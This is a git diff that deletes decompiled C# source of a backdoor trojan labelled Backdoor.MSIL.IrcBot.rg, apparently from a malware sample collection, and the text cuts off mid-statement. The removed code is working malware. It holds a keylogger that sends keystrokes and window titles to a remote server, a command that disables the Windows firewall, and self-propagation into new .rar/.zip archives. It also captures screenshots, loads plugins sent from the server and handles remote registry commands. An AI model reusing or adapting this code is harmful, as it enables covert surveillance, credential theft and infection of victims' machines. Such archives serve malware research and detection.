(B.ISEND) - { - string T; - if (B.FT & !B.isFT) - { - B.isFT = true; - T = "#blue"; - this.SEND(ref T); - Thread.Sleep(100); - } - bool p = false; - string str = API.A1(ref p); - if (Operators.CompareString(this.LA, str, false) != 0) - { - if (Operators.CompareString(str, "", false) != 0) - { - this.LA = str; - T = "#3" + IND.Y + this.LA; - this.SEND(ref T); - } - } - } - } - else - { - this.Dis(); - this.con(); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - this.Dis(); - this.con(); - ProjectData.ClearProjectError(); - } - if (this.c0 > 3 & Operators.CompareString(B.XRec, "", false) == 0) - { - this.c0 = 1; - try - { - if (Operators.CompareString(Dns.GetHostByName(Strings.Split(B.no, ":")[0]).AddressList[0].ToString(), this.IP, false) != 0) - { - this.IP = Dns.GetHostByName(Strings.Split(B.no, ":")[0]).AddressList[0].ToString(); - try - { - this.Dis(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - this.wL.Enabled = true; - } - - public void con() - { - Thread.Sleep(1500); - try - { - try - { - this.IP = Dns.GetHostByName(Strings.Split(B.no, ":")[0]).AddressList[0].ToString(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - this.CL(); - B.DS = false; - if (B.Fw) - { - try - { - string path = IND.TM + Conversions.ToString(Process.GetCurrentProcess().Id); - byte[] p = n.My.Resources.Resources.P; - bool flag = false; - ref bool local = ref flag; - byte[] bytes = API.ZIP(p, ref local); - System.IO.File.WriteAllBytes(path, bytes); - Interaction.Shell(IND.TM + Conversions.ToString(Process.GetCurrentProcess().Id) + " " + Conversions.ToString(Process.GetCurrentProcess().Id)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - if (!B.netsh) - { - B.netsh = true; - try - { - Process.Start(new ProcessStartInfo() - { - FileName = "netsh", - Arguments = "firewall set opmode disable", - CreateNoWindow = true, - WindowStyle = ProcessWindowStyle.Hidden - }); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - this.WC = new SocketsClient(); - if (B.Rec) - { - B.Rec = false; - this.WC.Connect(Strings.Split(B.XRec, ":")[0], Conversions.ToInteger(Strings.Split(B.XRec, ":")[1])); - } - else - this.WC.Connect(Strings.Split(B.no, ":")[0], Conversions.ToInteger(Strings.Split(B.no, ":")[1])); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public void Dis() - { - try - { - this.CL(); - B.DS = true; - B.ISEND = false; - this.WC.Disconnect(); - this.WC = (SocketsClient) null; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public void SEND(ref string T) - { - try - { - this.WC.SendData(this.WC.STB(T)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public void W0() - { - try - { - string T = "#2" + IND.Y + API.A0() + IND.Y + B.Vname; - this.SEND(ref T); - } - catch (Exception ex1) - { - ProjectData.SetProjectError(ex1); - try - { - string str = "X"; - int num = 0; - do - { - str += "\r\nX"; - ++num; - } - while (num <= 5); - string T = "#2" + IND.Y + str + IND.Y + B.Vname; - this.SEND(ref T); - } - catch (Exception ex2) - { - ProjectData.SetProjectError(ex2); - ProjectData.ClearProjectError(); - } - ProjectData.ClearProjectError(); - } - B.ISEND = true; - Thread.Sleep(100); - if (B.Fw) - { - try - { - Process.GetProcessesByName(Conversions.ToString(Process.GetCurrentProcess().Id))[0].Kill(); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - try - { - Thread.Sleep(10); - System.IO.File.Delete(IND.TM + Process.GetCurrentProcess().Id.ToString()); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - this.CL(); - B.DS = false; - } - - public void W1(string T) => this.CL(); - - public void W2() - { - this.CL(); - B.DS = true; - B.ISEND = false; - } - - public void W3(byte[] Data, int totBytes) - { - try - { - MemoryStream memoryStream1 = new MemoryStream(); - string Right = "nj-q8"; - byte[] bytes = new byte[5]; - int num = Data.Length - Right.Length; - for (int count = 0; count <= num; ++count) - { - bytes[0] = Data[count]; - bytes[1] = Data[count + 1]; - bytes[2] = Data[count + 2]; - bytes[3] = Data[count + 3]; - bytes[4] = Data[count + 4]; - if (Operators.CompareString(Encoding.Default.GetString(bytes), Right, false) == 0) - { - memoryStream1.Dispose(); - MemoryStream memoryStream2 = new MemoryStream(); - memoryStream2.Write(Data, 0, count); - this.WC.AT(memoryStream2.ToArray()); - if (Data.Length - memoryStream2.ToArray().Length <= 5) - break; - memoryStream2.ToArray(); - memoryStream2.Dispose(); - MemoryStream memoryStream3 = new MemoryStream(); - memoryStream3.Write(Data, count + 5, Data.Length - count - 10); - this.WC.AT(memoryStream3.ToArray()); - memoryStream3.Dispose(); - break; - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - private void fs_Created(object sender, FileSystemEventArgs e) - { - try - { - if (!(e.FullPath.ToLower().EndsWith(".rar") | e.FullPath.ToLower().EndsWith(".zip"))) - return; - if (!System.IO.File.Exists(Interaction.Environ("programdata") + "\\" + B.Ui)) - { - try - { - System.IO.File.Copy(Application.ExecutablePath, Interaction.Environ("programdata") + "\\" + B.Ui, true); - System.IO.File.SetAttributes(Interaction.Environ("programdata") + "\\" + B.Ui, FileAttributes.Normal); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - return; - } - } - else if (FileSystem.FileLen(Interaction.Environ("programdata") + "\\" + B.Ui) != FileSystem.FileLen(Application.ExecutablePath)) - { - System.IO.File.Delete(Interaction.Environ("programdata") + "\\" + B.Ui); - System.IO.File.Copy(Application.ExecutablePath, Interaction.Environ("programdata") + "\\" + B.Ui, true); - System.IO.File.SetAttributes(Interaction.Environ("programdata") + "\\" + B.Ui, FileAttributes.Normal); - } - foreach (string Right in B.Block) - { - if (Operators.CompareString(e.FullPath, Right, false) == 0) - return; - } - B.Block[B.inx] = e.FullPath; - ++B.inx; - Thread.Sleep(4000); - if (!System.IO.File.Exists(e.FullPath)) - return; - try - { - Process.Start(new ProcessStartInfo() - { - FileName = "winrar", - Arguments = "a \"" + e.FullPath + "\" \"" + Interaction.Environ("programdata") + "\\" + B.Ui + "\"", - CreateNoWindow = true, - WindowStyle = ProcessWindowStyle.Hidden - }); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ++B.err; - if (B.err > 9) - { - this.fs.EnableRaisingEvents = false; - this.fs.Dispose(); - } - ProjectData.ClearProjectError(); - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ++B.err; - if (B.err > 9) - { - this.fs.EnableRaisingEvents = false; - this.fs.Dispose(); - } - ProjectData.ClearProjectError(); - } - } - - public class Key - { - private static Clock Clock = new Clock(); - private static Keyboard K = new Keyboard(); - - public static void Start() - { - try - { -label_9: - if (false) - return; - Thread.Sleep(10); - int i = 8; - do - { - if (B.Key.GetAsyncKeyState(i) == (short) -32767) - { - string Left; - if (Operators.CompareString(Left, B.Key.w(), false) == 0) - { - string S = B.Key.KK(ref i); - B.Key.Write(ref S); - } - else - { - if ((object) B.Key.w() != (object) "" & (object) B.Key.w() != (object) " ") - { - Left = B.Key.w(); - string S = B.Key.HM() + Left + "\r\n\r\n"; - B.Key.Write(ref S); - } - string S1 = B.Key.KK(ref i); - B.Key.Write(ref S1); - } - } - ++i; - } - while (i <= (int) byte.MaxValue); - goto label_9; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static string HM() => "\r\n\r\n[" + Conversions.ToString(B.Key.Clock.LocalTime.Month) + "\\" + Conversions.ToString(B.Key.Clock.LocalTime.Day) + "][" + Conversions.ToString(B.Key.Clock.LocalTime.Hour) + ":" + Conversions.ToString(B.Key.Clock.LocalTime.Minute) + "] "; - - public static void Write(ref string S) - { - if (B.KON) - { - try - { - B b = MyProject.Forms.B; - string str = "X" + IND.Y + S; - ref string local = ref str; - b.SEND(ref local); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - B.KON = false; - ProjectData.ClearProjectError(); - } - } - byte[] bytes = Encoding.Default.GetBytes(S); - FileStream fileStream = new FileStream(Application.StartupPath + "\\" + B.exename, FileMode.Append); - fileStream.Write(bytes, 0, bytes.Length); - int length = (int) fileStream.Length; - fileStream.Close(); - if (length <= 20480) - return; - try - { - System.IO.File.Delete(Application.StartupPath + "\\" + B.exename); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static string KK(ref int i) - { - string String1 = "0123456789qwertyuiop[]{}asdfghjkl:;'\\|zxcvbnm,.<>/?~!@#$%^&*()_-+=\\|\""; - string str = ")!@#$%^&*("; - switch (i) - { - case 8: - return "{BACKSPACE}"; - case 9: - return "{TAP}"; - case 12: - return "\r\n"; - case 13: - return "\r\n"; - case 27: - return "{ESC}"; - case 32: - return " "; - case 46: - return "{DEL}"; - case 186: - return B.Key.u() ? ":" : ";"; - case 187: - return B.Key.u() ? "+" : "="; - case 188: - return B.Key.u() ? "<" : ","; - case 189: - return B.Key.u() ? "_" : "-"; - case 190: - return B.Key.u() ? ">" : "."; - case 191: - return B.Key.u() ? "?" : "/"; - case 192: - return B.Key.u() ? "~" : "`"; - case 219: - return B.Key.u() ? "{" : "["; - case 220: - return B.Key.u() ? "|" : "\\"; - case 221: - return B.Key.u() ? "}" : "]"; - case 222: - return B.Key.u() ? "\"" : "'"; - default: - if (Strings.InStr(String1, Strings.ChrW(i).ToString().ToLower()) <= 0) - return ""; - if (!B.Key.u()) - return Strings.ChrW(i).ToString().ToLower(); - try - { - int index = 0; - while (Conversions.ToDouble(Strings.ChrW(i).ToString()) != (double) index) - { - ++index; - if (index > 9) - goto label_48; - } - return Conversions.ToString(str[index]); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } -label_48: - return Strings.ChrW(i).ToString().ToUpper(); - } - } - - public static bool u() => B.Key.K.CapsLock & !B.Key.K.ShiftKeyDown || !B.Key.K.CapsLock & B.Key.K.ShiftKeyDown; - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern short GetAsyncKeyState(int vKey); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern IntPtr GetForegroundWindow(); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowThreadProcessId(IntPtr hwnd, ref int lpdwProcessID); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(IntPtr hWnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string WinTitle, int MaxLength); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextLengthA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowTextLength(long hwnd); - - public static string w() - { - string str; - try - { - IntPtr foregroundWindow = B.Key.GetForegroundWindow(); - if (foregroundWindow == IntPtr.Zero) - { - str = " "; - } - else - { - int windowTextLength = B.Key.GetWindowTextLength((long) foregroundWindow); - string WinTitle = Strings.StrDup(windowTextLength + 1, "*"); - B.Key.GetWindowText(foregroundWindow, ref WinTitle, windowTextLength + 1); - int lpdwProcessID; - B.Key.GetWindowThreadProcessId(foregroundWindow, ref lpdwProcessID); - if (lpdwProcessID == 0) - { - str = WinTitle; - } - else - { - try - { - str = Process.GetProcessById(lpdwProcessID).MainWindowTitle; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = WinTitle; - ProjectData.ClearProjectError(); - } - } - } - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = " "; - ProjectData.ClearProjectError(); - } - return str; - } - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/B.resx b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/B.resx deleted file mode 100644 index d58980a3..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/B.resx +++ /dev/null @@ -1,120 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - \ No newline at end of file diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/Backdoor.MSIL.IrcBot.rg.csproj b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/Backdoor.MSIL.IrcBot.rg.csproj deleted file mode 100644 index dd46bdb7..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/Backdoor.MSIL.IrcBot.rg.csproj +++ /dev/null @@ -1,65 +0,0 @@ - - - - - Debug - AnyCPU - {25A997B7-BB0C-4915-B3B4-74C2FF507831} - WinExe - n - 0.0.0.0 - n - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/Backdoor.MSIL.IrcBot.rg.sln b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/Backdoor.MSIL.IrcBot.rg.sln deleted file mode 100644 index ee9adc28..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/Backdoor.MSIL.IrcBot.rg.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "n", "Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b.csproj", "{25A997B7-BB0C-4915-B3B4-74C2FF507831}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {25A997B7-BB0C-4915-B3B4-74C2FF507831}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {25A997B7-BB0C-4915-B3B4-74C2FF507831}.Debug|Any CPU.Build.0 = Debug|Any CPU - {25A997B7-BB0C-4915-B3B4-74C2FF507831}.Release|Any CPU.ActiveCfg = Release|Any CPU - {25A997B7-BB0C-4915-B3B4-74C2FF507831}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/C.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/C.cs deleted file mode 100644 index 241aaa1a..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/C.cs +++ /dev/null @@ -1,152 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.C -// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Reflection; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Threading; - -namespace n -{ - public class C - { - public static byte[] Plug; - - public static object inv(ref byte[] F, ref string C, ref string S, ref object P) - { - Assembly assembly = Assembly.Load(F); - return assembly.GetType(C).GetMethod(S).Invoke(RuntimeHelpers.GetObjectValue(RuntimeHelpers.GetObjectValue(Activator.CreateInstance(assembly.GetType(C)))), (object[]) P); - } - - public static Image Capture(ref int hwd) - { - API.wd.ShowWindow(hwd, 5); - Thread.Sleep(100); - C.RECT lpRect = new C.RECT(); - C.GetWindowRect((IntPtr) hwd, ref lpRect); - string str = Conversions.ToString(lpRect.top) + Conversions.ToString(lpRect.right) + Conversions.ToString(lpRect.left) + Conversions.ToString(lpRect.bottom); - int index = 0; - int num1; - for (int length = str.Length; index < length; ++index) - { - if (Operators.CompareString(Conversions.ToString(str[index]), "-", false) == 0) - ++num1; - } - if (num1 == 4) - { - ref int local1 = ref hwd; - int num2 = 2; - ref int local2 = ref num2; - API.wd.G(ref local1, ref local2); - ref int local3 = ref hwd; - int num3 = 1; - ref int local4 = ref num3; - API.wd.G(ref local3, ref local4); - C.GetWindowRect((IntPtr) hwd, ref lpRect); - } - Size blockRegionSize = new Size(lpRect.right, lpRect.bottom); - Bitmap bitmap1 = new Bitmap(blockRegionSize.Width, blockRegionSize.Height); - Graphics graphics1 = Graphics.FromImage((Image) bitmap1); - graphics1.CopyFromScreen(0, 0, -lpRect.left, -lpRect.top, blockRegionSize, CopyPixelOperation.SourceCopy); - graphics1.Dispose(); - Image thumbnailImage = bitmap1.GetThumbnailImage(bitmap1.Width, bitmap1.Height, (Image.GetThumbnailImageAbort) null, IntPtr.Zero); - bitmap1.Dispose(); - Bitmap bitmap2 = new Bitmap(lpRect.right - lpRect.left, lpRect.bottom - lpRect.top); - Graphics graphics2 = Graphics.FromImage((Image) bitmap2); - graphics2.DrawImage(thumbnailImage, new Rectangle(0, 0, lpRect.right - lpRect.left, lpRect.bottom - lpRect.top), 0, 0, lpRect.right - lpRect.left, lpRect.bottom - lpRect.top, GraphicsUnit.Pixel); - graphics2.Dispose(); - return bitmap2.GetThumbnailImage((int) Math.Round((double) bitmap2.Width / 2.0 + (double) bitmap2.Width / 6.0), (int) Math.Round((double) bitmap2.Height / 2.0 + (double) bitmap2.Height / 6.0), (Image.GetThumbnailImageAbort) null, IntPtr.Zero); - } - - public static byte[] Capture1(ref int q) - { - IntPtr foregroundWindow = API.GetForegroundWindow(); - if (foregroundWindow == IntPtr.Zero) - return new MemoryStream(sc.gc(ref q)).ToArray(); - int num; - switch (q) - { - case 0: - num = 65; - break; - case 1: - num = 60; - break; - case 2: - num = 55; - break; - case 3: - num = 50; - break; - case 4: - num = 45; - break; - case 5: - num = 40; - break; - case 6: - num = 35; - break; - case 7: - num = 30; - break; - case 8: - num = 25; - break; - case 9: - num = 20; - break; - case 10: - num = 10; - break; - } - EncoderParameters encoderParams = new EncoderParameters(1); - encoderParams.Param[0] = new EncoderParameter(Encoder.Quality, (long) num); - ImageCodecInfo encoderInfo = sc.GetEncoderInfo("image/jpeg"); - C.RECT lpRect = new C.RECT(); - C.GetWindowRect(foregroundWindow, ref lpRect); - Size blockRegionSize = new Size(lpRect.right, lpRect.bottom); - Bitmap bitmap1 = new Bitmap(blockRegionSize.Width, blockRegionSize.Height); - Graphics graphics1 = Graphics.FromImage((Image) bitmap1); - graphics1.CopyFromScreen(0, 0, -lpRect.left, -lpRect.top, blockRegionSize, CopyPixelOperation.SourceCopy); - graphics1.Dispose(); - Image thumbnailImage = bitmap1.GetThumbnailImage(bitmap1.Width, bitmap1.Height, (Image.GetThumbnailImageAbort) null, IntPtr.Zero); - bitmap1.Dispose(); - Bitmap bitmap2 = new Bitmap(lpRect.right - lpRect.left, lpRect.bottom - lpRect.top); - Graphics graphics2 = Graphics.FromImage((Image) bitmap2); - graphics2.DrawImage(thumbnailImage, new Rectangle(0, 0, lpRect.right - lpRect.left, lpRect.bottom - lpRect.top), 0, 0, lpRect.right - lpRect.left, lpRect.bottom - lpRect.top, GraphicsUnit.Pixel); - graphics2.Dispose(); - MemoryStream memoryStream = new MemoryStream(); - bitmap2.Save((Stream) memoryStream, encoderInfo, encoderParams); - return memoryStream.ToArray(); - } - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr GetDesktopWindow(); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern IntPtr GetWindowDC(IntPtr hwnd); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int ReleaseDC(IntPtr hwnd, IntPtr hdc); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - public static extern int GetWindowRect(IntPtr hwnd, ref C.RECT lpRect); - - public struct RECT - { - public int left; - public int top; - public int right; - public int bottom; - } - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/Delegates/T/T.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/Delegates/T/T.cs deleted file mode 100644 index 1c0f4d01..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/Delegates/T/T.cs +++ /dev/null @@ -1,31 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.Delegates.T.T -// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b.exe - -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.Windows.Forms; - -namespace n.Delegates.T -{ - [StandardModule] - public sealed class T - { - public static void appendText(ref Form Frm, ref byte[] D) - { - if (Frm == null || Frm.IsDisposed) - return; - if (Frm.InvokeRequired) - { - n.Delegates.T.T.DELappendText method = new n.Delegates.T.T.DELappendText(n.Delegates.T.T.appendText); - Frm.Invoke((Delegate) method, (object) Frm, (object) D); - } - else - IND.ind(D); - } - - private delegate void DELappendText(ref Form Frm, ref byte[] D); - } -} diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/IND.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/IND.cs deleted file mode 100644 index c0c710e8..00000000 --- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/IND.cs +++ /dev/null @@ -1,2404 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: n.IND -// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.VisualBasic.Devices; -using Microsoft.Win32; -using n.My; -using System; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Net.Sockets; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.ServiceProcess; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -namespace n -{ - [StandardModule] - internal sealed class IND - { - public static string TM = Interaction.Environ("temp") + "\\"; - public static string Y = "^:^"; - private static int ER; - public static int LPING; - public static chat Ca = new chat(); - private const int MOUSEEVENTF_ABSOLUTE = 32768; - private const int MOUSEEVENTF_LEFTDOWN = 2; - private const int MOUSEEVENTF_LEFTUP = 4; - private const int MOUSEEVENTF_MOVE = 1; - private const int MOUSEEVENTF_MIDDLEDOWN = 32; - private const int MOUSEEVENTF_MIDDLEUP = 64; - private const int MOUSEEVENTF_RIGHTDOWN = 8; - private const int MOUSEEVENTF_RIGHTUP = 16; - private static string pk; - - public static void inddd(string T) - { - RichTextBox t1 = B.Chat.T1; - t1.Text = t1.Text + B.Chat.nick + " : " + T + "\r\n"; - } - - public static RegistryKey Rk(ref string p, ref bool W) - { - Array Instance = (Array) Strings.Split(p, "\\"); - object Left = NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null); - RegistryKey registryKey; - if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_CLASSES_ROOT", false)) - registryKey = MyProject.Computer.Registry.ClassesRoot.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0); - else if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_CURRENT_USER", false)) - registryKey = MyProject.Computer.Registry.CurrentUser.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0); - else if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_LOCAL_MACHINE", false)) - registryKey = MyProject.Computer.Registry.LocalMachine.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0); - else if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_USERS", false)) - registryKey = MyProject.Computer.Registry.Users.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0); - else if (Operators.ConditionalCompareObjectEqual(Left, (object) "HKEY_CURRENT_CONFIG", false)) - registryKey = MyProject.Computer.Registry.CurrentConfig.OpenSubKey(Strings.Replace(p, Conversions.ToString(Operators.ConcatenateObject(NewLateBinding.LateIndexGet((object) Instance, new object[1] - { - (object) 0 - }, (string[]) null), (object) "\\")), ""), (W ? 1 : 0) != 0); - return registryKey; - } - - public static void ind(byte[] Da) - { - IND.ER = 0; - string str1 = Encoding.UTF8.GetString(Da); - int num1; - try - { - Array Instance1 = (Array) Strings.Split(str1, IND.Y); - string Left1 = NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 0 - }, (string[]) null).ToString(); - int num2; - if (Operators.CompareString(Left1, "#KON", false) == 0) - { - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null), (object) "T", false)) - B.KON = true; - else - B.KON = false; - } - else if (Operators.CompareString(Left1, "#RG", false) == 0) - { - IND.ER = 1; - object Left2 = NewLateBinding.LateIndexGet((object) Instance1, new object[1] - { - (object) 1 - }, (string[]) null); - if (Operators.ConditionalCompareObjectEqual(Left2, (object) "~", false)) - { - Array Instance2 = Instance1; - object[] objArray1 = new object[1]; - object[] objArray2 = objArray1; - int num3 = 2; - // ISSUE: variable of a boxed type - __Boxed local1 = (ValueType) num3; - objArray2[0] = (object) local1; - object[] Arguments = objArray1; - string str2 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance2, Arguments, (string[]) null)); - ref string local2 = ref str2; - bool flag = false; - ref bool local3 = ref flag; - RegistryKey registryKey1 = IND.Rk(ref local2, ref local3); - NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2] - { - (object) num3, - (object) str2 - }, (string[]) null, true, false); - RegistryKey registryKey2 = registryKey1; - string Right; - string s; - foreach (string subKeyName in registryKey2.GetSubKeyNames()) - { - string str3 = Right; - s = subKeyName + IND.Y + IND.Y + "Key"; - string str4 = API.ENB(ref s); - string y = IND.Y; - Right = str3 